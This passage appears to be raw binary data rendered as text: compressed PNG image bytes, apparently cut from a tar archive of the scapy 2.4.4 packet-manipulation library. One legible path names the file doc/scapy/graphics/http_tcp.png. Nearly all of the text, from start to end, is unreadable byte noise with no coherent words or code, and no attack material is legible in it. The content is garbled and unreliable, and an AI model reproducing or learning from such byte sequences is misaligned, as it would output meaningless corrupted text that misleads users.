;ÄÁIWVˆb):ýª÷´.›rcu"ìÞ*|‡Ü¶âº• y‰äñ®éÀ3ÖÂ)ËÙ%™?Zo“d´3Ö»$`„Á"–µÀ0r¬$µ°â¶B-.„aìB| ›ø–Íò«°MP ¿Âï‰ÜŽ]JœI³°«l+tš³íÒ{èéÎ9NÌ»‹¹ÞʰµÜ ô¶ÃÑÉ$Š!¤¤b`b››‰Q¬)í¤sØýcšHŸr~XqPÛK,)Ç6 9žéŽ–h^îóÁÜã¬âº½ ¹jÎØ¥¦ ¢‘,%~ GŒ/2r>±7æQ›¸“^qú³;§ÏâmL½¹;ä(¬ÂmØ<#wž!ô{ØkÉpìb—r ¶¸ç™$ïXËo0B1kщ„øàXÊB)‚Mwé%Á¾Š½ƒBb-v‹„ü;pÔ°å…IŽP1ICIð ‰Co4I»È`iM~ý@›Ç,¬“—ŸÒjŸGعnµBÖ½. w1°L€¥(`ÒÐ-XL/°Ì>?Pg‹€%?76MŠøúЉP—ì&å[…ØÈÀßR'm›ÔšbÀŠY2ב˜KußTÀ“Ãx3= ÃÀØ‹3­`Åøö+àN~õÍŠ)`o9@œ)¸P†:™SÏ ©¬˜I꘮t€µ ^§MÀú2Á,£çJºÐÈ8÷Õ/ݰè¬N\ì”%ZÝ„U™¹¸ü)œBªÿê¶fO.ë¬.ÖèÒz1÷RØ+LµV——·{/Øë@Î*®hèV—ªÇ¨=²´†VX!×ËqÁ \qHÒ³Þ8­¸¢¥P€ÕZê¶f[—õ VãM=±:½ÐøÁæÛX¿´Øägú6pÜ@´âŠ’ÂÐ'¿üý„¹‚oÙ7£3±Æ ¬Þ .áÌËqéÛÀî%j‡[¥Í&ŸoÃ=…0 [KTÐpïQÏh¼™î½"4!džl÷Ñêôðo¥MžgÅM…aü£,By5ºõeÆka=ï6µ°Ü×Ï̃—',oþÔ=l~G'±D2×­PššX,½À]ªûxÕ­¡zX½œ-uÚÈLŽ÷J¥­#¯í«Ì× V(úŸKK¬âÕÖè|—ñº„]`msûÓ“ååÞb¡‡[ç^r`qEUá¬ÖÐVkv„!¬ßˆ…å»^Žë½ ô`ÅÞ~×<y±cî6íÒ«Þ‡ÎcÞî®Zz¼·Y*~&gžݹ¢ª€å:öò’iš;¦¹²cŸŒ,ˆ5R Ë1±"gþ$‰b:VAyõ!ýøk:-ŠR:#+ذ¯΢ïi-.ê‚È&¾¹äÿÍG©z.®­€´cÊýùÙŒ$IÙèß¹\>ŸÏh; ;30‚¼{&½F¬£y„Pº¨iµK¤•„;We¢{vK[øø¾YúŒx^X\Q•ÿíîfš ÕÆ¥Ú¨$©°æÆ%tÄX¼”U}ÔR7ÚçNÐÇl÷§m¶> íð3}h^o¦ aqEU>õóN¡låéå¬ê£ÖZ µŠ¡¾…eãyQU¯ +Oº®=%ÙìšM/ýÌ:±˜Ȳ¬Ž›»ûæ~óðú“˜x ‹+ªò1 me>›ÍU¯Ëª3hU YIV¯Ü6°^Ä…²>¬ú,­4š£lj=yàféÑ—»~Üܤ Vƒò‡[X\QÕ°úãJTfUŸÖ¦Ðf O.°ŽQ-‰+fiÅÌÎ6àêÑÊ`]x}w¿Ù<ÊÖä1,®¨j¸ý£,ÖýàŠª’W)”G >†¥ ?´bÄÒkË •ÓÞ±ŸHÞÕ•Ÿ¹¸n§†Vk>Q÷K+OëÓsí«¯7ð£na™‚O\yÊ¡¯|¦ÃóWT5Ä€vPP¼Iw.®×çëQÖqJ¼"Ð~]œi¹lsÿ»­MŸÀâWT5ø€nÎøŠ]}ªUÑüQv 3åp|«¦#åêë])t犪–6¯®HК è}aXV[ÔuJ¤²€DM×Äxºˆ¨½Š*ü‹#•áL@i­¦?ŒwH~jå4ô˜ðzÀIP)<èÎU : Ûh­Ã™ ºYCgÛF¡B£‘ESÕF#§mP @8)ž8ûYuŠ:Ù[k(ƒ!,`e¼x»†TMj‰´&.jš&RéjpSiUÕÁw\LkEF§¢ˆt´ìÖ:Àª©”ÜÂ⊪ÐFÞ£Ìãi ©µ¾m£>³QŸilHµ,´ëÐöv® ‚T/ˆÌ¤]'V7fõlÏT›Éü(Áº„Hó€Õ¢ Ã·2ÀGý £ö“&t,¬š®‹z-­Æf|高ÐXBϪÕdß7ăî\‘Õ ÀºßuäÖ)¤f¼mÕ³°¨%E=ÀB®±ÑiÓFEhdëz§|…Æ4AÝüø*ºúº=JÐÀê Ô;e [ð‘Øj9éš •§½HJèzZ,«ÓžK¿„iemÚ›z¨ëAËÿ)¸¸n¤–ܬǹ*Û®{0j<•(¤¢Qù§Y©³sz­‘} |Úè«‚Ô¬z˜ÀòÞdÑãÕ¢ŽŸŽÊµ¢ªÓÀTM/ i1QÔ¨WH;€Vý£TcÀ˜y=˜íÅ€U `ÅÃ⊪ÐxµgÁŸ$¡‚·e1¬ìcàP¥QÉvÚÞNÀWn­±~faMT6¨»ØV.ð£ ,Gìà§ ª¥šPÔi‹qŒº„¢VNÔŠZM}¨MëµâtYéW ,êÒå²wØ@w ¹¢ªA´ÓרJÕju£±æ5«Sõt¨{Àš*ÔS}Vý/àG 8­aÎ{È^ Öè[B]k«ŠšW*a©eö–%¢„F¿zÀb=Q¼Ã§üߺsEV[ s‰¾V°P½@ôFCBSõF·Ýkз„¹Š¬êÊ÷YXÙ€–% -q´)<ì%ZSÈr>ɼÒÏ}|Vz:€w ¹¢«Á4–®È«Lõl c˜„ha‘Ö´ø+ô\¦ ¥ Ü ·°¸¢«!,³“a„6VþQ‚Ÿü<—Ö‡cT?áŠ(˜ü Ã⊬†q™vQ.(`­¢à–Å uy##ú[¯AK‹r0% ù\B®èj¸mÌd_¸ïWªdç”× y?G8KþXå4òUÿ뼸KÈU ; w‘_Ç0‡´®Î?JHkº;wé\Á¥×Ê 4äªÐX\QÕðH3‰¤¡—™YŸA©£ƒjUsŽMYÓ¬ŵüC]/«i)£XÞ¯üÌYùÐŽ)ÏJÙÂÚ@ØÚ¨är0„wƒ¯C1ª2_öŸÔ_ùÒ?a˜VT'Prë$ø;àÀ⊪|hg%…P"¿~\‡Êc¡¤´iÕÑ ©º¶¡(IbUT.‹Eª Ň*«¥šÉ(ØlqÂóâyX\QU Æ/¦%tXÕ|áñêj¥R©V+•µµÕÇ…<«¥šW0¶B¬¤:ÒÊϵÝCÓXÈÎÝMÆ&'„©?ÌÍ?0šG×*.èC<†ÅU< Ý£Wæ× óKw“B,&LMÏf°ùÊI¹úÑRý-ˆçaqEU¡X o—º­Ù°>=ÊÿÿÿìÝÁjÛHÇñSûZCÁ1~#ðÁ]Ôƒ½0 ѧéÁqoƫÂ,Jù’=l Ø‹òÛ€¯^v—îq[rrYC¶#䤠%Ž<ïfüû@•©ƒì¨Ð/£±"n†õßÀ)!+’ÿПGùÈ!ZÅ)r<3,œ±" Ö§_òÑ÷KŠç/v<ÁÂ)!+’`}ø~XP<±â`}1N áX‘ëæ·|tuIñüÅ ƒõñ½‰÷ ð¿B¬Ÿ¶K.5Ýëj…ÁƒÐë6!X M°6ùè‡âù‹!X¦£ Ö]>úó€Áж# ÀLÄ3¬ÏŠç/†€éh‚µ­,І&XÛ o±†ÚPϰ,Ч„ðlë ‚Úà”ž œÀ³A|áè3,І X£Ñéh¤n03wÆcý¯P Á0A°N߇ÛtØqç`7˜A°LG¬¥ìÕðS:tœŽs°»º#X¦£XÃz'ƒ¥~›pìtÞ¼@1 ÀtÁÚÈ`©ÑåÏ,㑼K8žªÁ¢ãüNñ…,ÓÑ\Ö­¹ÿ³tpYhC¬»õÍÛùõ|1Ÿ_/œÅzóøz X¦Ó¬õòç~%†òO5t’Mõ仫ý§Õ#X¦Ó¬Õå ÿÚ²lîN‚3Å߈Ä4ô]n[V¯?¸XÑ]å€`˜nï`Ýž¿d'|ïD¸öâ‚èãë,Óí¬ë«{b·Ze.¿Æ+=?ü·,Óí¬õyßæ“'Õ*ònÿGí‹Z€éJkó†yÑãmú73—]Þ=þ*O`˜®l°V¬Vfnõ@À˜ÞÅ,|.!€éÊë¶o홫4YíÎda†`ºrÁz쟫„Ç4.¿#X¦+¬ž­§Wr’Õ¥8 ÀLe‚ÕµTmx²™=ØÆÂåžÜrwš%Ÿ»êü1ä<Ìöˇ±×#8 ÀL%‚u¥z5³Yò%ÝF6Kß1¬x¢éÅß­Æq-K­ÈU9kˆ³¦lUSîq"DKU¯z¡ÿP,3•Ö@Í—„—¤j’ËWñV2ŸŠx°lœÄÌ[íÇòÁ Ù¯Åm,_[],Ó•V?[2<“Úý6eWdÎ8K§V¼ªÒÆX¶F?ãV¶ŸÍ˜•?‹þCA°ÌT~†•„'ª„‚E¢â ¦l«Ë¼êý8ù«Z¤ªé#I°š3ÑTß ,ØQ™5¬Ö6X‚s›ñi²µE‹úD¹= å·êžÇAÙQ(ƒ%oOE¬¨EÙ)akX°£2ïV¬í)a¾ä– 7¹û'¬Æ^2¶åƒòôï¥HV¯ÒGfj—UÕ[ˆîk‚CA°ÌT&X±0ÖåÕ߇‚`˜©Ô…£ë®§'WvcNq(€™Jþòs¯¥!W³ú€æP,3•½[CùûöÊcZ{…`¯ôý°Vƒ¶½G³&v÷\ó­’,Óís‹äyƒ=íöÈ9ÁYOÿ¬"X¦Ûïžî«¬ùä;Í„küªéÇèþP¾ÿÿìÝAkÛfÇñ‡…Ú× ©ñ;ø‚.*Ã.¤—3¶Ð݆£Ë°u’ßCÜCÁ†g¯¢)ä걸ìCA…AØó<’œ…9Í*?Ãþü>´êSÇVªË—çQT Áàiç§æÌ}_úQúôT+ÏÒØ—²~IóŒB €;7R-¦/„hɸÊÖ¿îõ®Så !:§DOø²,îÜ=ùùvÞo›kÙ¿õd ãaš ‡qÉŽ}ôóW3ÊXw.UoÅòz6=™ž[ozÓÙbYÐ?¦Þ@°¸s,ëãÏõ¨·¦Øÿvw$ÁZýZzî¯^x‚ÀI°®Þ×£ÓkŠýo‡`pG¬÷«ztqA±ÿí,îH‚õöc=šýB±ÿí,îh‚µ9Õ~}J±ÿí,îh‚õW=ºþ‘bÿÛ!XÜkPì; €;š`ÝÕ£ubÿÛ!XÜQ 3,p†&X›‚îϰ  œ!ža8‡Î Xð¿A¬Ï8C} Ág¨—„8éÎkµz}µ*¯u¿¹{»#‚ÀA°N ;É*zAìmQˆ`pG¬w&XWvèë`íí~wÁº3Á*—„?é`¹ÿ@°¸£8én¦Xåè"Þ~ù½!XÜ‘ü”p¬yÐÛßMÝ,îH‚õúä]9˜ïï”;‚ÀÍC(~ø£¸½]¯‹E€‡P€3.ƒU,æƒÎ3ó`úQé™MÛÌ?8ü>@°¸s¬›Ë#¦o¼h˜fõÙ8£nKñpº¾{zGÍ!XÜí¬ÅtðÒ—a˜dê‹Î’È—þqºtðÏÞÁànÇ`ýþR´£'JõÐ$n‰C’f!XÜí¬›Cá}M­ªU¢/Ž>¹:€{w̓µè{~úõµ*%¾×w=ÍB°¸k¬â`Ü´V¥Tˆ?J¾!X<5 ÖR wË•=/hÁà©Y°NåŽÓ«RÚ=v˜, €»FÁ:ö]äÊ&ëˆâP,žšëÈ]KÉßÁà©A°íò«D˜ml·C»U¾ô;©’Ò“J…vlšä˸ú@®üŽ”öÅò* ÷‡‚`ðÔ Xƒ‘MÍȳͱۼt‘Ò0Óc‘™ñ(4IÒëGÛ¨±§_2¿Æ:su°TüÌý¡ X<5Ö÷ªž™™Rt¿U¹IQd*ÔÒ}ªÆæ¯¡ý#·KÉqKoeVkì¬.wMfXù}°¤¿µiòý‰^ûu½ÍX »q,»ìêßqVŸC°à¿j¬óá&Xgö2±Ý&&Fv Ø1KB=.“”ÅÕ’Pk¢:%F™yÿ‹ê¬û±ûCA°xjrÒ}s¾üá6ÎG"²ü ‰ZʌǙŠrÕDºci¬ƒ01KBUOÉráìNYwM.kxõ]ùcÂðá6Ti¨%jF™•cýzFzi8,ßt…öÃyXM°. Áà©Ñ…£‹j9·;o@q(OÍþkNßM±²V›äPþÿÿìÝ?kãH€ñCÒ&°Ùò:3à"˜)Î)œÌ}š+¼l·ë¨“]Ëß!.nÁ þÙƒ´96>®½®PÀaïôÏqŽs²Xš×pÃó+&Cb˨y)²D°7•üòóäÀÛè¶}ë„^k*³+ pSéûa+Sé :Ñ[uisGྠwý¥ÕðÂrÑšÆöζàºj÷tŸî¨ÆÆ7š =µgí „Ï,ÀuUŸšsßQÊ„Ôʯ©‰\qÇQÀ}žKŸuZZ?¼x"~4ô>ä“‹fû^âÖ"X€ëd®Ãê}Í'·íC‰í¯G°×É<5§÷u~“¸½iò˜/ÖØ V<¿8=ê´ZZ7´ñ>z…¾1ZksxØ9:=Ÿ[ú¬,ÀuV‚uÞQJ™`4{ÅIß«)u0•»ð`®«¬Ç˵£ƒ×Zµ¥Þ\,¾¿Õ2àºJÁz˜tŒö^_YýÇÐ3¦#ñ@h‚¸®B°æ»Êl”ª•±Vuëdž p]é`=N”¿ÙÒê_FZMmîÇß p_É`ÅGo½ ¹Ê’e§B»B°7• Ö\õ«Õ*ç«‘]!X€›JkÚØèÕl6&»B°7• ÖDU<|¦aoE°×•Ö75ÌcSK‡‘ÊÇ(ýq²«êÑ,ÌÆÑ^:f†Ù‡^ñ¶q2;ÅŸìÅ…`®+¬Iž‘ÎRõ|©aäûéèù³½ òóWúõ4XÝlLß–dlXWÅ«níëÑ p]‰`½+ÖMÙÚJû«q$uò£A:Îêݱ ê#³Ó¥ÁÒ£e°ÖêB°×•Vg¶ Vw5fL-=¿å%c¨Tv®+Òã4Ufü,XWC¦[±¿+ pS‰`…OÁ)­• •6ʤqê›~TŒ‘ £nzH8Ø7z?8ÉÆ"XÙÛü|+Ý7öwåÿÿìÝÏjãFpAÖÞk ¡ÒÒcoÁ`‚P¼´Z¨ÄÏÐ[ÙöŠÛ½e“B6>goy€±am2dŸ¡°Ù€½¨Ý8ô¶MìÅ¿ŽdËq@ÉÚ£?i¤ï‡DYöòef"Í °²I °i¦K8³Ýâªú˽†·}Ù8\®þ¶Z=ôc©áey-¬ú¤Kx4Éö¥?ã¿@6‰ÜÖPÜ ,©±Å{ÒfÕßîùÿ+ô{…ãΠ·-yõj&°ªj—‚ÀÈ&‘ÀrµÉ ÑíÄ—W,€Ì{4ÇX%®—¹@6 >ü¬Ä’XŒQ"—‚ÀÈ&Ñée,uÞYFoR]UãÆuâø]ÊÒÖ¾hZíoJjœ­+ ë¢L‘l--ýòJ(®ª’÷ô},€ì‹¶EŸ•ÊB“º7ê[¥’Á’Xñ uÑ—ù:ª$}±3Ç Y’·hNÜ]Á ëbY—ptb%é³ÍúM©µ¿W¯<”¤‚á|Œã|áXYßRõ®c1fO´J©òãjiL¯T´'ša2f&·„ê ëâ ¬ÃZP*'Õÿ ÀȺ¤ë2‰úÃ!°².‘À:”ô‹$ê·?-!°²)™Àj%ý$‰úá…u‰ÖÙQPÚî%Q8@ÖÍËç~}”ž×9A¸éE!°`nÒîñmŸK  ævü>(u:wq~Ì­}”Xð?‡À€HÓ_;~ñ6ƒà­ñÎôÁ`æK“òôص#WõL~ÚÝíàøUmƒ›«œ9e,€ûìÃ÷©2JO·øæ;*"]. à>û'Z,ª}”z»b5üéü,€ûlr`MÈé=«_iÖU  J»K8maý.!,(æÀzl}ÍZÙrŒ×ÔbOgŽ£…â>ÄXÎ:#*4ÉåÑ0b.™T¼tqñŽamt›}êoÈŽ lDŒVÞ¶X7ÎÀrW˜©Ñ7®[ð¢¡éð–͘<ó ˆ‹µ…eu‰×Vä®×%$Ym’-¯g>Àqwv[C÷…X ,€üŠwÐý“¢?üŒÀȯ”ïÊ> ¿Ä‹Y¶Ùd6Ù×ß¶YÓœîha_”ߥޥ ­ŸŠÀÈ/±1,FËõéP,€üJõÆÑaÍà —e½¬ëBu °ò+Ýg &Eº®—·…ª@`äWÊ?ó¼úÙ{íðÄê Õ€Àȯ”Ÿ%ü©Vk{¯=XÀŤÜÂ:žéå;™ë?ÿÿìݱnÛFÇñƒP·“4ÙpWCw—QC졲éúÊ»šº…ö /cup€@ñc4²º@Tt‘Iƒ»wɸ6i›4I£¸ï'ŽB‹Êiûáÿ?yðÖq…u1›mž×0ÕZ…E`!ëøyXW³Ùæ~¯~¯9„«£–ðËê|1?qv_L£ƒ©ûm¾ø«ê …®ö+¬ÕùxKÑWÚcmœ²ÖšH«ž;µ}¸xøƒ, \îšsÃòÍôàPI96yLñÁ%Õþdz¶|À ®ÖZÂå±êΠº\RˆÉ½"„«¥–p5}S%­6Œ‡÷t‡®6–5,'JFÕÓjC«áOwµ†®æ+¬¥5j«ë"Ñ/ï , \Ïa­¶ôãâʱÏv/ËÆ'°€p5}•ðdç‘åÕF4(›~'°€p5ÜNUqåKž´L`áj¶%œ‹J ¼Òÿ Î ¿‚ÀÂÕèUÂe/£¥K)Ý«TþÕ“®ÓSjǸw=ŸHRé8Ú“®(3î5¹®õ•§I& /X@¸m §éü•UJÆÆgVöã—+¸ÀúÖÄZ»_|°¹óVÄÒÆÒøÛK>¥¿–Xz»è;, \¶„Ó¼¿óid“¨Ú³voó–ð•ä˜Ö6iM?éýb[þœ;Ó;Ù ¦0], \^%œ~™’þï0JC•¶xI(Y™–\®I”>›äÀeÓŽ”I`W‚mecXþ£Ñ ë$Ê«#KI©äòɪ¬Âò­ kúÒ¾/¹ÓP'-¡ï“j+Ú|.ñlXô®Fç°Î{×*,£¬«—âo ýã|y¥´ýÎÄ*Š‹Üyãë)m]°ie¥öŸrd+#ÄŸEßA`ájö^ÂÉ -±¬ $™\%tÿ˜ØW^¾Œµ¿ÉÐw‚Ùy›¼ãÞÇþSVëì.D9/ü  W÷æ¼Ä ‘“âo °€p5}óóaCKÝ¢d“  WãOýc8®¼Úý&«‡oÊÆ'°€pµðÄÑ¡—WR—N`ájã~ëãý]³Ì²Z϶§, \míšó«²úк'J{Á„«µm¾.ÿÞ⇠™eu_lÝW²6·ùºZΧ“ýûöù²FK©†“éIñódn °€pu°UýúÃ/ÛÂo¥º§uä7SuŒùñç±ÞóÛ¨ŠÝ“E…íŸ , \mUuùÏâlüüû­™H}³ý||¶X•>¼½„««„wXͲ£QÉÂÐûX@¸ºª°Rï²£ÑÇz#X@¸:˜ÃºîSX/4Å~„«Õ«„·½ŸÍßÖÀÂÕq…uú);zýºÞ®Žç°N/²£¯ê@`áêø*ái¾âêüe½, \]WXëìhyTo W×sXù:Ñ€Šº®°ò£Ï€ŠºžÃÊ>ê@`áz²–pE`¨èÉZB @U]·„y…µf @E]·„ù€ª:¾—ÀPß“Ía­ ,uXïò•î¬ÃPU§sX³Ù‹Ù,)²VGN­ëqõ/ÿÿìO‹ÛF‡·îÍ>Õ4×Å3ãc±k Š”°_!Òйõ’ƒ—\Ê–žúMì…®¡8ùíöHBOe1IH:#ù_lÙkyG*åý=!äwnï«Í@XüŸ©t”p`ɪB+¬ßމa@—JKÂ[“` ²±L~嵪;„]ª}‡õ³VvváûG…€° KµGgKa¿÷[#€.žžf'Ï|zT ºT=Ó}0ß…â¥i €‚Tü-áõàv–¼{;›Mý›ã"@XÐ¥ô’0™NFÃ0ðN»\ÎC>猧×}/‡ÃÉôàC º”ša%¿?`Œµz±Ò{PqïÄ<Ö¾<襄]Ê˰þ«ËØiŸ­VÚê4ëÞ½4„]JV2 »‚÷3Õº´".¼ðy²/6„]J%œ|ÇdaW­ˆ;Ì{³;:„]œ¿ÃzÿuŽ·U–h Öÿ´+>„]—„oúâ잺J‘­î$¿ º¸Í°ZìµàMï}^tqúËî|¥u­–WBXÐÅaIøÎ“ueˆæôa@‡%![øJ™ÉXOëž9fIWÍ47j"f•Þ—Z5YÝÞŽ¹}¤goÅ­ô87Ö·Û½@XÐÅ]†5âs]žp­ZZ›ŸPJ¤æLëæ™‘2·¤Tæ>?Õ‘1™lfUJq{”|‘c5ín ,èâNX?,ß_Ù„É\U(u’51­XvG.&i ûPü•Žja¨–M­ÔjZD¼- º¸+ ½.,­¸9 ÆD– a@÷ ø…¬qÏÂ0®±áÎðt)aŠ1ñøx]õšì2wa™  º”³‘êd!÷o–³Š$çÁðϽ¡!,èRÞ®9Ÿž?`LHuà¦9QÓîôµwÿ‰ º”»‘ê«GvcÂÎéZ®õÓ–ªbÙ©1VÿuÇšÈ@XÐ¥ü­ê“éäÇ0 úÝ.m!„—nülND»ëyAGLïά@XÐ¥ô­ê7yq½:ñ º”óÒ}OoWçã×Åÿa@ÇGïäã“õ+ÿUát©:ú>_¿JüE@XÐ¥ê ëüËœj:.€.å~É`ãzü¡` ºT\~ØÖMÑ Â€.Ok¸~±ÙrQÐXt©¸$¼Ú®ýY¡t©8Ãúk»éí³B ,èòß ëó¸ÐÔ ºTüÒ=OXÓ_ŠD€° Kµï°n¯òZý›! ,èRmIx•û)ÎÌ?|± ÂT+¬Aþ4ÑY© ÷Ö¿ÿÿìÁŽë4@› Rü ¶|·°y?пÈ?ð¨ÃìøvïColjÛ)ˆÕÌT¨å^;N“iËK¡-ª|Î.w»—YQ@½Ün[ÃvµZ=Û‡•xÿÍr9+ ¨—fX*¬Õ×ÇO½|µTþ8~r ¨—n5aÝ8ªù•ùjÞþQ„P/7̰TX§±’±f½°êå†ÖãjõûÉ“/*¬Y{@½Ü0Ãú°:øz߈Ëå·s¢ ,€zé3¬õóùíxó/o[~½÷çóó?ÝÈÚîaÔKΰ~^Ü€Ï>ÿD‡/>ÁnaÔKÖO ‘N‘NJ9T†_ÝÛ–iµ´ˆ,d߯W»7]'ã‹.uxúƒ°*gÝgXÝ刳ƒ¹³â",€ÚÉÖ—–Ì & ÎaÝO Ï÷ÒI¯aÀuxºü”ÐÖ°æ°àаæ:f†WfO ;wÖU@íl®±èN†×àòO ÏɰΠŒ°*çéâ‹îó×°f<%GBXµ3šŠx-¼:«K¥14IiÒJ°}Þ¤j©è(í)¡ìûÙ°bïœóÚäŠÑа$–2¸Püu×JÓ€]™¦}X±]tÒË{Ú(mÎôÄÂÛF…&„œ†5!j'³ŽvŽM,m¾s!šœú)¡vj½8Ü»Ïü”vÁ/Š•\I|šIz[†o‹°ÔyÓ¼ËaÔÎ(à j'3DòF~‚MKÚTÊ./©G—ÎXCô]¯!§šËïÓdaå~Zß?l$½ä›ÐN„Õ¦DÊJ b)Ø"çcùu!ïÛ@†»ýÆQÉ;>e¥Q“(½$L®KÀÚ<ý“ÐÆtÆ:{WÚ‚fN®ÃÆQߺ&HvZž#Ú$/ê(m#aù b³Ò§Q*¬4‰›AF»£èì¦O “]š…M ¥ŸšÉUi¶( ‘HŸU5MJŽÌp©Írª²JjÚNz £w¯}eûZ¢ì; '7“bÒÆåØeÌv3 £Ã@½l¾¿7þÓaÀÝ€°àn@Xp7 ,¸þÿÿìÔ € ÿ¯Ûè…l ذ!,`CXÀ†°€ aÂ6„l ذÿÿD÷IJë”`IEND®B`‚scapy-2.4.4/doc/scapy/graphics/http_tcp.png000066400000000000000000002571071372370053500207000ustar00rootroot00000000000000‰PNG  IHDRð°™)sRGB®ÎégAMA± üa pHYsÃÃÇo¨dÿ¥IDATx^ìýÏÏ­IrßÖß µVÖJ{qQK.t%“¸;m¯€ ÍF rȹ´Lϵ9wFƃžþÁ.‹oKjÚ*·ªgì¢f؆Xî+€@AZÈc‰¢<Ð4X3”%CÐ@Ó¦A˜£žŒü‘Oæ9ÏsîsÎý>¨>'Ÿ|"####3ê}«ß~@ @ ÈÊ@ @ ;”~ @ @ È ~å@ @ w)(h!@ r—òÁ¿øÿâë_ÿúÿ @ @ »’¾öµ¯ý¿ñ7ò/ OKxó¿úñ¼+>¥i.R£ü­¿ÿÿþkÿåÿóÿýïßü_þûÿÝwþÙ/çŸýÇŸüîÓó{ùq´Þ-º ¥ì?£Rö“ö}ò»¯ÿÎïþo¿ý»ÿáñOóã"(h¼[tA›~$ûýß}ýíPÊþÓPÊþÿÎ_ýÛ¿“AA àÝ¢ ÚZÇþÒÇÿ4Ô±ÿþßþ_üÏÿÉ«ÿìŸäÇEPÐx·è‚ö—Êdÿýÿ<—²¿ðëÿäç¿õóã"¢ ýþ_úÓ?ù—~µ~=Ž} Ú>Hò§ÿÒ÷Sã/ýTnù©_â=œ]ÐÖɦ:öý­üsë¿ûÙ¿ùßåÇEî¿ ýÕ¿ô“¥ŽýîO}ÕþÒË~ê»Ôò«_þÓ¼ü%ÖÀéÐíÿæ×C)û©”ý[ÿøçþ&•²‰ü¸+hCe˜¬ù§¿ü«ì‡œüÔS¨?ê§ÊÓT+6¨:íž¶ŸšÆŸ‘Æ ö/½L_Õ@RÛ2¬ Íur°¼ü`vÏÊÀ!è‚¶þHV‘q~BK5g+\©:e?U¿Çk<¥bXüŒ”úH…FÙJè"i ¯½1™Á ZñÀÑ­ªc+ùq» U§øJÄR¾zOÿÖž†’r¤ðZÊ/ÇüÒ/£ €{â Úð®’T‹zí¡*ýú1+b휯 ý¤õ×óã"º Í¥`÷+ǵ,,ÿÇK­³ñ”JPý+Ǽ°l]O«ªÅÿ)ÜîOhÿöoÿõk~\D´± Bÿ_MTf¡ÿS¨ü1ûág-hó£ ü)k _yAËbÒÆª?:®?Ô-ö8+vAû«ÿõ÷ÿøÿ÷ïáÃLAkÓ•£‚ñS`ÈßúÖ·~û·;ש?þñW¿ûÿúòÿýŸÿÿèÓ×ð!| ék´Þ-|ï{ßûÅ_üÅ÷ïþ].Uçdª ãƒóoþÍ׿þõP B @ rGòÁ!@ ¹CAA @ @ »”þ@ @ w(üÇÿ‡/wÇùÿ¶øå_ý«•?A|—îT°pw*÷²pïÖN„7@ ½íƒ ¼t§‚…»S¹—…{·v"¼!ì%(h\à¥;,Üʽ,Ü»µá @ d/AAûà/Ý©`áîTîeáÞ­o@ { ÚxéN w§r/ ÷níDxC ÙKPÐ>¸ÀKw*X¸;•{Y¸wk'Â@ È^‚‚öÁ^ºSÁÂÝ©¼Ë…ûþ—ò'¿üýüeC޵sË’åÑ¿ûòƒ(/¿› @’”‚6Ü?>ø Ý@V.FïJØ•(Z/å'ÿê_=ÿn úâÈ\÷œYÄÂÉ_¸Ó×¼´£/{ Å_¸¹u»Æç+ïj;wYèªgK¡ã%ÏE¡œÝÅ>@ (¬ ýÉ—/ëd¯ûÍ‘¢Kµ ÷`öEz‰ß ¿û?ì8±¸õF¼ýÏ.Ýe;ûè qn²(»Æù+ïºv^#UÏ–B½ÇýÃSüh@ ˆ#¼ ýò÷Õ+]ø½dãß¿3ÑW¢ üV”>Ó?C¡ž&'“gÒ¦6¸IݽH/ÕfÒü%¿ÕGÙ‡_þ2ýÆ_z7(ÉBßß7Þ^FõFýÚ9_6°oéâ‹q)IÒr¶NYI÷–hkA¢ô@’ø w_s]ñdrb·r«½ÝW´µá6d`A¤!©ƒ^ñÖG››"g!:{WŒÚ”i”6H¯@ Èû(² ­OþJ7‰tk [ÄÉîúJ¤Ì¢}&»ËÄê‡<µ2þÖÉò¹A\»%¶}ÈÅÞ~oÜx{ÖÉíóÙâ䟿×[‡Ö#mˆ&UŸz‹´'ôi¬çýoáÈgá3w]ïØô)¿Ò?m½¢Xë2½%=¢JS^ñ6z{Ðý…èì=~±>eƒRÇÜ@ È{-º Íø?k‡“]ô•(ˆ2˜OA}ÿŒ•]‘‡½^ B×Â8éê– ä“ü$Û‡µ%}B¯pÁs7Ù®7 ç×u-R_L¸þ(¾OÂ;×ê-3HÒgH¿pÙ³oûÏiájcÿ”·Ùì0”Q€‘6.Ói¡ÿ >Ñyiü¢÷4y @ Èû-]A?¾ürüzîÛƒQª)ƒùÔÞó¡ÅðR–RU?„Ïó7×$ê+d?Ù¨7ÔºaemíÓ¿R[êÏTgÞ§t¡3HÒgÈxá‚x® ŸÍ%‹óSÞd³ÃP¶,‰¢Æ ŸC”©óƒú\Dç¥ñ‹ÞÓä1@ ï·m¾ÓWú® íòpšk„Qª©ëNø\[ô‡6µÇ}m­sîüèSþŸÒÂ}XÚ˜ßÞ7Þ^üz£ú¼sþ÷¿ü2÷*/ÔåJ \O×B}ÓgúÄÞ2ƒDéIŸ!ãB1ˆhé+>õOÛ³(ÃuÙ’¡FhµùsèSšêÓð!½gô¢³7×пØ-A y¿Å,h㵡Þ$è§=AÊÝá4÷}% Âg‘>×óCžZùmÀGé%kέ-/kmÈÿ¿×ÕcI˜zÁR ¹^t½‘]„yY;Ÿ®ûIj§ÔÄÿO¡òƒò¹¾ÃÿoÎÅ[©s쓃ÄÒI2,»åØ(Ùù¡Wÿ´µ¨Ý×­Ë–øVTå¯Ñ®¹~ná–Ì%Ñ‘IJÊÝùá¿j¬S @ ÷[JA{‡"K5ˆ-ðÒ îNå^nO;C»X]"¼!ì%(h\à¥;,Üʽ,Üõv²Ð.ÿ°á @ d/AAûà/Ý©`áîTîeáÞ­o@ { ÚxéN w§r/ ÷níDxC ÙKPÐ>¸ÀKw*X¸;•{Y¸wk'Â@ È^‚‚öÁ^‚@n)(hgy @ È^òÁ¿üñ?M^jÒ‰Ú,›ü©ßøó ÕÞ (hŸ|s‡@ ¨Í2¦V³¨iN ÚÇ'ßÜ!H'j³ŒAA p6PÐ>>ùæ@:Q›e Zp4Ÿ?=û_ú3‘—wO¯æ£YùŸù¯>êžwÉ© ÚOß<Ïgí‡OŸ¦FvºoÀíõÉ£úãW¥ÿóן_ÑnZ>¼:˜ý"ßÜ!H'j³ŒY-hEú*´-ÿÅëu#KbÄ%Íþ¨iv9-MêÙ›/x£`˜ç½l™Ú{™í̱‡r,ÛË™ú§† ¹Â°ÙŸý[dO+Œ’âª>¢¯ÚùÔsÊý¸ªÃµÌû§·YúÊ\÷UÜutô3ÿÛÿÅÁÛ—“áq1«q÷Åy Z:†ç%uxñV5Vè\)¯óÏ.ùì§ÏñL*§Îj»c9õ)Öª›3Ý™|s‡@ ¨Í2fµ ­ôwqºÂ²„öùÓëxQæy#ÝAï ¦uj° 